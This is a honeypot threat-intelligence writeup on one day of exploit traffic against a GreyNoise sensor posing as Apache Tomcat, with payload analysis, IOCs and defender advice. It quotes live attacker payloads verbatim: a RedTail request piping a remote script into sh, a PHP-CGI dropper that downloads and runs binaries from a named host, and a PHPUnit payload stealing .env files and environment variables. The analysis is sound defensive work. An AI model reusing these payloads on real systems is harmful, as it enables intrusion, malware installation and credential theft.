// GreyNoise  ·  writeup

GreyNoise Swarm - Wrong Door

GreyNoise Medium GreyNoiseWiresharktsharkURLhausMalwareBazaarAbuseIPDB
← all sensors

Introduction

GreyNoise watches the internet’s background noise: the scanners, botnets and opportunistic exploit traffic that hit every public IP. Through Project Swarm, anyone can run a GreyNoise sensor and keep the full PCAP of everything that hits it. This is the second writeup in the series, and it comes from a different kind of sensor: a vulnerable web server, not a telnet shell.

Credit: This project was inspired by John Hammond’s interview with the creator of GreyNoise, which introduced Project Swarm and the idea of running your own sensors and keeping the PCAPs.

The Sensor Fleet

Four $4/month DigitalOcean droplets, one per region, each running a different GreyNoise profile so they attract different traffic. Outbound traffic is disabled on every sensor.

SensorRegionProfileBait
Bold EarwigSydney (SYD1)Apache Tomcat 8.0.45 - VULNERABLECVE-2017-12617 JSP upload → webshell
Pensive MarkhorSingapore (SGP1)Cowrie Telnet HoneypotTelnet logins + shell sessions (IoT botnets)
Vibrant QuetzalSan Francisco (SFO3)React Server Components - VULNERABLECVE-2025-55182
Festive GoatFrankfurt (FRA1)WordPress MasterStudy LMS - VULNERABLEPlugin LFI / traversal (2024 CVE cluster)

Today’s Sensor: Bold Earwig (Apache Tomcat)

This writeup focuses on the Sydney sensor, which presents as Apache Tomcat 8.0.45. Every response it sends carries Server: Apache-Coyote/1.1, and its error pages and default index are titled Apache Tomcat/8.0.45. The bait is CVE-2017-12617: the profile ships the default Manager and example apps, with WebDAV enabled and the default servlet set to readonly=false, so a request like PUT /shell.jsp/ writes a JSP file to the web root, and requesting it runs it.

The sensor registered at 2026-10-14 01:09 UTC and logged 24,002 sessions in its first 24 hours, between roughly 750 and 1,450 an hour. Outbound traffic is disabled.

Finding the Signal

Most of what this sensor sees is crawling. Filtered to classification:malicious, 461 of those 24,002 sessions remain, and most of them are secret harvesters walking /.aws/credentials, /.docker/daemon.json and similar paths that any web server might expose. Some announce themselves (WebSiphon/next-0.1). Others claim to be Googlebot/2.1, which doesn’t go looking for AWS credential files. Tomcat answers 404 to all of them, and they bury everything else.

The Swarm UI’s search doesn’t index the HTTP method as a value. It exposes per-session counters instead (http.method-GET, http.method-POST, http.method-PUT and so on), each the number of requests of that method in the session. Adding "http.method-POST:>0" to the classification:malicious filter cut those 461 sessions down to nine. Each spike on the histogram lines up with one of the exploit sessions in the timeline below.

Gotcha: PCAP export only covers the current page of results, not the whole time range. Filter first, so the page holds only the sessions you want, then export. If you do need several pages, mergecap -w out.pcap page1.pcap page2.pcap combines them and editcap -d drops duplicate packets where pages overlap.

Executive Summary

Over about 16 hours, five source IPs sent nine exploit sessions to a sensor that identifies itself as Apache Tomcat in every response, and none of them targeted Tomcat. Two hosts sent the RedTail cryptominer’s Apache httpd path-traversal exploit in both of its encodings (CVE-2021-41773 and CVE-2021-42013), and Tomcat rejected both with 400 Bad Request before any shell was reached. One host sent a PHP-CGI argument injection (CVE-2024-4577) that only works against Windows PHP installs, carrying a dropper with a Linux branch that would fetch a Mirai-family binary from a server that has rotated its build three times in two days. Two more sessions probed for React2Shell (CVE-2025-55182), and one of those hosts followed up within a second with a PHPUnit eval-stdin.php payload built to steal .env files and environment variables, then a Next.js middleware-bypass check. Every attempt failed because the target wasn’t what the exploits were written for. URLhaus and MalwareBazaar filled in the payload side: both download hosts were still serving malware, the RedTail host’s binary carries a Prometei signature that its vendor intel (an XMRig miner, no family YARA match) doesn’t support, and the Mirai-family host’s hash had changed again on the day of capture. The bug the sensor was built to catch, CVE-2017-12617, never came up.

flowchart LR
  S[Sensor<br/>Server: Apache-Coyote/1.1<br/>Tomcat 8.0.45] 
  A[RedTail<br/>Apache httpd traversal<br/>CVE-2021-41773 / 42013] -->|400| S
  B[PHP-CGI arg injection<br/>CVE-2024-4577] -->|404| S
  C[React2Shell<br/>CVE-2025-55182] -->|200 default page| S
  D[PHPUnit eval-stdin<br/>CVE-2017-9841] -->|404| S
  E[Next.js middleware bypass<br/>CVE-2025-29927] -->|404| S
  X[CVE-2017-12617<br/>Tomcat JSP PUT] -. never sent .-> S

Artifacts

A quick way to list every request in the capture:

tshark -r sessions-...-page-1.pcap -Y http.request -T fields \
  -e frame.time_utc -e ip.src -e http.request.method -e http.request.uri -e http.user_agent

RedTail: An Apache Exploit Against a Java Server

Two hosts, 51.158.145[.]102 at 12:12 UTC on 10-14 and 65.109.215[.]207 at 04:35 UTC on 10-15, sent the same pair of requests about 16 hours apart. Both identify themselves with the user-agent libredtail-http.

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
User-Agent: libredtail-http
Content-Type: text/plain
Content-Length: 109

(wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s apache

This is CVE-2021-41773, a path traversal in Apache httpd 2.4.49. .%2e is a URL-encoded .., which 2.4.49 failed to normalise, so the request walks out of /cgi-bin/ to /bin/sh. With mod_cgi enabled, Apache runs /bin/sh as a CGI script and feeds it the POST body. Three seconds later each host sent the same request with %%32%65 in place of .%2e. That’s CVE-2021-42013, the bypass for Apache’s incomplete fix in 2.4.50: %32 and %65 decode to 2 and e, so %%32%65 decodes twice to %2e and then to ..

The body pipes a remote script into sh, tries wget first and falls back to curl, skips certificate checks on both, and passes apache as the script’s first argument. SonicWall documented this exact request chain and notes only that -s makes sh read the script from standard input and that apache is passed to it as a positional argument. None of the public write-ups I found say what the script does with it. Labelling the infection vector (Apache here, versus SSH or PHP elsewhere) is a plausible guess, not a confirmed one.

What the script does is better documented. According to SANS ISC honeypot reporting, RedTail’s setup script checks the CPU architecture, picks a writable directory, kills competing miners, then downloads the matching build (x86_64, i686, aarch64 or arm7) and saves it as a hidden .redtail file. Akamai found the unpacked binary is a modified XMRig, a Monero miner.

Neither request got anywhere. Tomcat isn’t Apache httpd, has no /cgi-bin/ mapped and rejects encoded dot segments outright, so all four requests got 400 Bad Request with an empty body.

Which botnet is it?

URLhaus has hxxps://217.60.102[.]5/sh, the exact script these requests fetch, listed as online since 2026-10-03, reported from a Cowrie honeypot. The same host serves x86_64, aarch64 and arm7 binaries, added 2026-10-04 with an abuse report sent to the hosting provider the same minute. The x86_64 binary (f0aa83bb…6c18d987) is signatured Prometei on MalwareBazaar. A plain-HTTP copy of /sh on the same host is tagged mirai by a different reporter.

The traffic tells a different story. The libredtail-http user-agent, a shell script fetched over HTTPS from a bare IP, and a set of binaries named after CPU architectures all match published reporting on RedTail, a cryptomining botnet that spreads through edge-device and web-server CVEs.

The MalwareBazaar entry itself narrows it down:

FieldValue
SignaturePrometei (set by the uploader, c2hunter)
PackingUPX; 1,989,056 bytes packed, 5,199,952 unpacked, linux/amd64
First / last seen2026-07-30 21:18 UTC / 2026-10-04 10:08 UTC; uploaded 22 times
ReversingLabsLinux.Coinminer.XMRig
Unpacked filea0f85de5…2c50d268, classified CoinMiner
Other vendorsClamAV, Dr.Web vxCube, Intezer, Kaspersky, Triage: malicious, no family named
YARAThree generic rules only: UPX-packed ELF (two) and a 2026 Linux mass-hunt rule. No family-specific rule matched

The only thing calling it Prometei is the signature on the upload. No YARA rule backs that up, and the one vendor that names a family calls it an XMRig Monero miner. That fits RedTail, which is built on XMRig. It doesn’t rule out Prometei, whose Linux variant also mines Monero, but nothing on the page points there specifically.

So the delivery fingerprint (libredtail-http, sh -s apache, binaries named by architecture) and the vendor classification both say “XMRig-based miner delivered the way RedTail delivers it”. The Prometei label is the outlier, which makes this most likely RedTail. Proving it would take the binary itself, for example a RedTail-specific string or mining pool in the unpacked file. Either way, a crowd-sourced label is a lead to check, not a verdict.

One more contrast for later: this hash was first seen on 2026-07-30 and was still being served in October, so the RedTail binary hadn’t changed in over two months. The Mirai-family host below changes its binary every day or so.

AbuseIPDB puts the host at SWISSNET LLC (AS209373), a data centre and hosting network in Amsterdam, with a 31% abuse confidence score from 13 reports by 6 sources. The first report is dated 2026-10-03, the same day URLhaus first listed /sh, so the host seems to have started serving RedTail that day. Most reports are filed as Exploited Host (12) and Hacking (7). Unlike the Mozi writeup, where every host was an infected home router, this is a server in a hosting range: rented or compromised infrastructure, not a victim’s device.

PHP-CGI: A Windows Exploit Carrying a Linux Dropper

130.12.180[.]32 sent the same request twice, at 17:04 UTC on 10-14 and 04:33 UTC on 10-15:

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded

This is CVE-2024-4577. %AD is a soft hyphen. On Windows systems using certain code pages, PHP-CGI’s “best fit” character conversion turns it into a real -, so %ADd becomes the command-line flag -d. That lets the query string set PHP config: allow_url_include=1 and auto_prepend_file=php://input tell PHP to run the POST body as code before anything else. The path /php-cgi/php-cgi.exe is a Windows (XAMPP-style) install.

The body is a PHP dropper with a branch for each OS:

$url = "http://103.170.217.170/";
$windowsbin="pula.exe";
$linuxbin="x86";

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    shell_exec("taskkill.exe /f /im $windowsbin");
    shell_exec("del /f /q $windowsbin");
    if (file_put_contents($windowsbin, file_get_contents($url . $windowsbin)))
    { shell_exec("$windowsbin"); }
} else {
    shell_exec("killall $linuxbin; kill -9 $(ps aux | grep $linuxbin | awk '{print $2}')");
    shell_exec("cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;rm -rf $linuxbin*;wget $linuxurl || curl -s -o $linuxbin $linuxurl || tftp $host -c get /$linuxbin || tftp -r /$linuxbin -g $host || ftpget -v -u anonymous -p anonymous -P 21 $host -c get /$linuxbin;chmod 777 $linuxbin;./$linuxbin");
}

The exploit only works on Windows, yet the payload carries a full Linux branch. The kit pairs one generic dropper with many exploits. The Linux branch is the same loader pattern as the Mozi writeup: kill any copy already running, step through writable directories, then try wget, curl, two tftp syntaxes and ftpget until one works. That’s IoT-botnet tradecraft riding on a web exploit.

Tomcat answered both requests with 404 Not Found.

A server that rotates its binary

URLhaus has a long history on 103.170.217[.]170. On 2026-10-11 it served a full Sora set from /bins/ (sora.arm4 through sora.arm7, sora.mips, sora.mpsel, sora.ppc, sora.m68k, sora.sh4, sora.x86) plus a sora.sh downloader. Sora is a Mirai variant. Many of those entries are tagged ssh, so other honeypots saw this host’s files dropped through SSH brute-force. From 10-13 the paths changed to bare architecture names (x86, x64, arm64, armv5, armv7l, mips, mipsle, mips64), tagged wraith by their reporter.

hxxp://103.170.217[.]170/x86, the file this dropper asks for, was added on 2026-10-13 and was still online at capture time. URLhaus has fetched three different SHA256s from that one URL: two on 10-13 and a third, 44272f1f…94889b1eb, on 10-15. None of them has a MalwareBazaar signature. So this operator uses at least two ways in (SSH credential stuffing and PHP-CGI) and rebuilds the binary faster than hash blocklists catch up.

AbuseIPDB shows the host isn’t just a file server. 103.170.217[.]170 belongs to ADS Royalnet Communication (AS149020), a fixed-line ISP in Singapore (the same purplenet.in network URLhaus sent its abuse report to). It has a 100% abuse confidence score from 71 reports by 54 sources, first reported on 2026-10-10, the day before URLhaus logged the Sora set. The top categories are Port Scan (35), Brute-Force (33), Hacking (21), SSH (19) and Web App Attack (11). So the same IP scans, brute-forces SSH, sends web exploits and hosts the binaries, which matches the ssh tags on its URLhaus entries.

Also Knocking

React2Shell, twice

Two sessions sent a POST / with a Next-Action: x header and a three-part multipart body. This is the React Server Components deserialisation bug, CVE-2025-55182, nicknamed React2Shell. The first part abuses the Flight protocol’s reference syntax ($1:__proto__:then, $1:constructor:constructor) to reach JavaScript’s Function constructor and run the _prefix string as code.

The two senders used it differently:

Tomcat ignores the Next-Action header and returned its default index page with 200 OK. That doesn’t fool the scanners. On a vulnerable Next.js server, the thrown NEXT_REDIRECT comes back as an HTTP 303 with the digest (and any command output) in an x-action-redirect header. Public React2Shell scanners also treat a 500 containing E{"digest" as a sign of a vulnerable server. A plain 200 with neither of those is a miss. The status code is only misleading for a defender: a detection rule that treats “exploit request plus 200” as success would flag both of these probes as hits.

The bait for this bug is on a different sensor, Vibrant Quetzal, which runs React Server Components. Seeing it here shows the scanners don’t check what’s running before they fire.

PHPUnit and a Next.js bypass, in the same second

Less than half a second after its React2Shell probe, 23.94.145[.]124 opened a new connection and sent three requests back to back:

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET  /dashboard
GET  /dashboard            X-Middleware-Subrequest: middleware

eval-stdin.php is CVE-2017-9841: PHPUnit test files left in a production vendor/ folder will eval() whatever is POSTed to them. This payload is a secrets stealer:

<?php $o="MOLDPU".(6*7)."-".php_uname()."|";
foreach([".env","../.env", ... ,"../../../../../../.env"] as $p){
  if(is_file($p)){$o.="ENVFILE=".base64_encode(file_get_contents($p))."|";break;}}
$o.="PROC=".base64_encode(@file_get_contents("/proc/self/environ"))."|PHPE=".base64_encode(print_r($_ENV,1));
echo $o."|END";?>

It searches up to six directories above for a .env file and returns it along with /proc/self/environ and PHP’s $_ENV, all base64-encoded. The marker is built as "MOLDPU".(6*7) rather than written out as MOLDPU42, so the marker only appears in the response if the code actually ran. That’s the same canary idea as Mozi’s hex echo, and it also keeps the string out of the request where a signature might catch it.

The two /dashboard requests are a before-and-after test for CVE-2025-29927, a Next.js middleware bypass. A plain request shows the normal response (usually a redirect to login). The same request with X-Middleware-Subrequest tells Next.js to skip middleware, and if the protected page comes back, auth is bypassed. All three got 404 Not Found.

This sits alongside the WebSiphon crawling from the start: both are after cloud and application secrets, one by guessing file paths and one by running code to read them.

What Never Came

Bold Earwig is built to catch CVE-2017-12617, a PUT of a .jsp file followed by a GET to run it. In this window no session sent a PUT, no session touched /manager/ and nothing tried Tomcat Manager default credentials, even though the profile serves the default Manager app. The server announces itself as Tomcat in every response and still got exploits for Apache httpd, Windows PHP, PHPUnit and Next.js.

Mass exploitation is cheaper than fingerprinting. A kit that sprays every exploit at every IP doesn’t need to read the Server header, because a wrong guess costs nothing. That’s also why the sensor’s fake version string barely matters for this traffic.

Who Was Knocking

All five exploit sources sit in hosting ranges, and every one has a 100% abuse confidence score on AbuseIPDB. That’s the opposite of the Mozi writeup, where both the scanner and the payload host were infected home broadband connections.

SourceSentNetworkAbuseIPDB
51.158.145[.]102RedTailScaleway (AS12876), Amsterdam NL452 reports / 307 sources since 2021-05-23; Web App Attack, Brute-Force
65.109.215[.]207RedTailHetzner (AS24940), Helsinki FI156 reports / 134 sources, first reported 2026-10-14; Brute-Force, SSH
130.12.180[.]32PHP-CGI dropperVirtualine Technologies (AS202412), Aachen DE2,787 reports / 1,251 sources since 2026-03-03; Brute-Force, SSH
143.244.147[.]123React2Shell checkDigitalOcean (AS14061), New Jersey US334 reports / 150 sources since 2025-02-02; Web App Attack, Port Scan
23.94.145[.]124React2Shell, PHPUnit, Next.js bypassDEDIK Services (AS207043, ColoCrossing hostname), Buffalo NY US435 reports / 100 sources since 2021-08-20; Web App Attack, Bad Web Bot

A few things stand out:

AbuseIPDB scores are crowd-sourced and hosting IPs get reassigned, so a long report history doesn’t prove the same operator held the address the whole time. Still, these are clearly not first-time offenders.

Attack Summary

PhaseAction
ReconnaissancePath crawlers (WebSiphon/next-0.1) request /.aws/credentials, /.docker/daemon.json and similar
Initial AccessRedTail sends Apache httpd traversal to /bin/sh (CVE-2021-41773, then CVE-2021-42013); Tomcat returns 400
ExecutionPOST body pipes hxxps://217.60.102[.]5/sh into sh -s apache via wget / curl
Initial AccessPHP-CGI soft-hyphen argument injection (CVE-2024-4577) sets auto_prepend_file=php://input; Tomcat returns 404
Command and ControlPHP dropper fetches x86 (Linux) or pula.exe (Windows) from 103.170.217[.]170 via wget / curl / tftp / ftpget
ReconnaissanceReact2Shell (CVE-2025-55182) probes with an echo marker or a redirect marker; Tomcat returns its default page
Credential AccessPHPUnit eval-stdin.php (CVE-2017-9841) payload reads .env, /proc/self/environ and $_ENV; Tomcat returns 404
Initial AccessNext.js middleware bypass check (CVE-2025-29927) on /dashboard; Tomcat returns 404

Forensic Timeline

Timestamp (UTC)Event
2026-07-30 21:18:08x86_64 binary (f0aa83bb…6c18d987) first seen on MalwareBazaar
2026-10-03 06:15:18hxxps://217.60.102[.]5/sh added to URLhaus (Cowrie honeypot report)
2026-10-04 04:24:24x86_64, aarch64, arm7 on 217.60.102[.]5 added to URLhaus; abuse report sent 04:25:22
2026-10-11 06:51 – 07:05/bins/sora.* set and sora.sh on 103.170.217[.]170 added to URLhaus
2026-10-13 12:23:10hxxp://103.170.217[.]170/x86 added to URLhaus; abuse report sent 12:24:16; two payload hashes fetched that day
2026-10-14 01:09:20Bold Earwig registered with GreyNoise
2026-10-14 12:12:4051.158.145[.]102 sends RedTail CVE-2021-41773 request (.%2e) → 400
2026-10-14 12:12:4351.158.145[.]102 sends RedTail CVE-2021-42013 request (%%32%65) → 400
2026-10-14 17:04:06130.12.180[.]32 sends PHP-CGI CVE-2024-4577 dropper → 404
2026-10-14 21:39:01143.244.147[.]123 sends React2Shell RCE check (echo R2SHELL_751f698fd1) → 200 default page
2026-10-15 04:16:2823.94.145[.]124 sends React2Shell redirect-marker check → 200 default page
2026-10-15 04:16:28.8Same host, new connection: PHPUnit eval-stdin.php secrets stealer → 404
2026-10-15 04:16:29Same connection: /dashboard baseline, then with X-Middleware-Subrequest → 404, 404
2026-10-15 04:33:48130.12.180[.]32 repeats the PHP-CGI dropper → 404
2026-10-15 04:35:2965.109.215[.]207 sends RedTail CVE-2021-41773 request → 400
2026-10-15 04:35:4165.109.215[.]207 sends RedTail CVE-2021-42013 request → 400
2026-10-15Third payload hash (44272f1f…94889b1eb) fetched from hxxp://103.170.217[.]170/x86 by URLhaus

IOCs

TypeValue
IP (RedTail exploit source)51.158.145[.]102 (AS12876 Scaleway, NL), 65.109.215[.]207 (AS24940 Hetzner, FI); both AbuseIPDB 100%
IP (PHP-CGI exploit source)130.12.180[.]32 (AS202412 Virtualine, DE; AbuseIPDB 100%, 2,787 reports)
IP (React2Shell scanner)143.244.147[.]123 (AS14061 DigitalOcean, US; AbuseIPDB 100%)
IP (React2Shell + PHPUnit + Next.js scanner)23.94.145[.]124 (AS207043 DEDIK Services, US; AbuseIPDB 100%)
IP (RedTail payload host)217.60.102[.]5 (AS209373 SWISSNET LLC, NL, hosting; AbuseIPDB 31%, first reported 2026-10-03)
IP (Mirai-family payload host)103.170.217[.]170 (AS149020 ADS Royalnet Communication, SG, fixed-line ISP; AbuseIPDB 100%, 71 reports, first reported 2026-10-10)
URLhxxps://217.60.102[.]5/sh, hxxps://217.60.102[.]5/x86_64, hxxps://217.60.102[.]5/aarch64, hxxps://217.60.102[.]5/arm7
URLhxxp://103.170.217[.]170/x86, hxxp://103.170.217[.]170/pula.exe
SHA256 (x86_64, RedTail host, MalwareBazaar: Prometei; ReversingLabs: XMRig)f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987
SHA1 / MD5 (x86_64)94e6098bab3b1d1d2930ab87e0f82f5fe3ac1d7b / 1f47ecc10bc008ad26e504897b940f22
SHA256 (x86_64 unpacked from UPX, CoinMiner)a0f85de525c9f1126dd701b4b9a50237ef6dd1605836da64e983e49a2c50d268
SHA256 (x86, Mirai-family host, 2026-10-15)44272f1f153709662b3b973e7b4a601df852e7eae3dd9a22661860394889b1eb
SHA256 (x86, Mirai-family host, 2026-10-13)16254f69dc7011bdd51beb489af5e9825959e4098e565332da99f8cb58b7a76e
SHA256 (x86, Mirai-family host, 2026-10-13)107a9bfb3d0bb71a33ae17a9eac844a7a7562270a09b5ccce608a78316df0222
User-Agentlibredtail-http (RedTail), WebSiphon/next-0.1 (secret crawler)
Marker stringsR2SHELL_751f698fd1, W97877, MOLDPU42, ----CveSweep (multipart boundary prefix)
URI patterns/cgi-bin/.%2e/…/bin/sh, /cgi-bin/%%32%65%%32%65/…/bin/sh, /php-cgi/php-cgi.exe?%ADd+…, /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
HeaderNext-Action: x, X-Middleware-Subrequest: middleware

MITRE ATT&CK

TechniqueIDDescription
Vulnerability ScanningT1595.002React2Shell echo / redirect marker checks and the /dashboard middleware-bypass comparison
Exploit Public-Facing ApplicationT1190Apache httpd traversal, PHP-CGI argument injection, PHPUnit eval-stdin.php, React2Shell
Unix ShellT1059.004RedTail POST body executed by /bin/sh; PHP dropper’s Linux branch via shell_exec
JavaScriptT1059.007React2Shell payload runs child_process.execSync through the Function constructor
Ingress Tool TransferT1105wget / curl / tftp / ftpget fallback chain for x86; wget / curl for RedTail /sh
System Information DiscoveryT1082PHPUnit payload returns php_uname()
Credentials In FilesT1552.001PHPUnit payload reads .env files, /proc/self/environ and $_ENV
Resource HijackingT1496RedTail’s purpose is cryptomining (from public reporting; no miner observed on the sensor)

Defender Takeaways

Most of this is noise, and a little of it isn’t. One day of a single sensor produced five exploit families from five IPs, and all of it was blind. A WAF or IDS will alert on every one of these, and none would have worked against this server. Triage starts with “does this exploit even apply to what’s running here?”. The response codes answer that in seconds: 400 and 404 on every attempt means nothing landed.

Check the response, not just the status code. The React2Shell probes got 200 OK because Tomcat served its default page. A rule that alerts on “exploit request + 200” would flag them as successful. The scanners’ own markers (R2SHELL_…, W97877, MOLDPU42) are the real test: if a marker shows up in a response body, the code ran.

Hash IOCs for this campaign go stale within a day. The x86 URL served three different binaries in two days and none of them had a signature. Block and hunt on the host, the URL and the behaviour (a web server process running wget or curl into /dev/shm or /tmp) rather than the file hash.

Don’t take one tag as the answer. The RedTail host’s binary is signatured Prometei, a different reporter tagged its script mirai, ReversingLabs calls it an XMRig miner, and the traffic points to RedTail. Only the last two agree. A crowd-sourced label is a starting point to check against what you actually saw.

Secrets on web servers are the real target for a lot of this. WebSiphon crawls for credential files and the PHPUnit payload executes code just to read .env and the process environment. Keep secrets out of the web root and out of environment files on the server where possible, remove dev dependencies like PHPUnit from production builds, and rotate any key that has ever sat in a web-reachable .env.

Exposed version strings matter less than you’d think. This sensor advertises an old, vulnerable Tomcat in every response and still didn’t attract a single Tomcat exploit in a day. Hiding the Server header is still worth doing, but it doesn’t change much for traffic that never reads it. Patching is what actually helps.

Conclusion

For its first day, a sensor built to look like a vulnerable Apache Tomcat 8.0.45 drew exploits for nearly everything except Apache Tomcat. RedTail sent Apache httpd traversal exploits from two hosts 16 hours apart. A PHP-CGI exploit that only works on Windows carried a dropper whose Linux branch would have fetched a Mirai-family binary. Two scanners checked for React2Shell, and one of them followed up within a second with a PHPUnit secrets stealer and a Next.js auth-bypass check. All of it failed with a 400, a 404 or a default page.

The PCAP shows the delivery, and public threat intel filled in the rest. Both payload hosts were still serving malware at capture time, the RedTail host’s binary carries a Prometei label that the vendor intel doesn’t back up, and the Mirai-family host’s x86 binary changed hash three times in two days.

The one exploit this sensor was built for never arrived. That’s the lesson of the day: most internet exploit traffic doesn’t check what it’s attacking. It’s cheap enough to spray everything everywhere, so defenders end up handling noise in bulk, and the job is spotting the rare request that actually matches what they run.

← blue team ops inksec.io red team →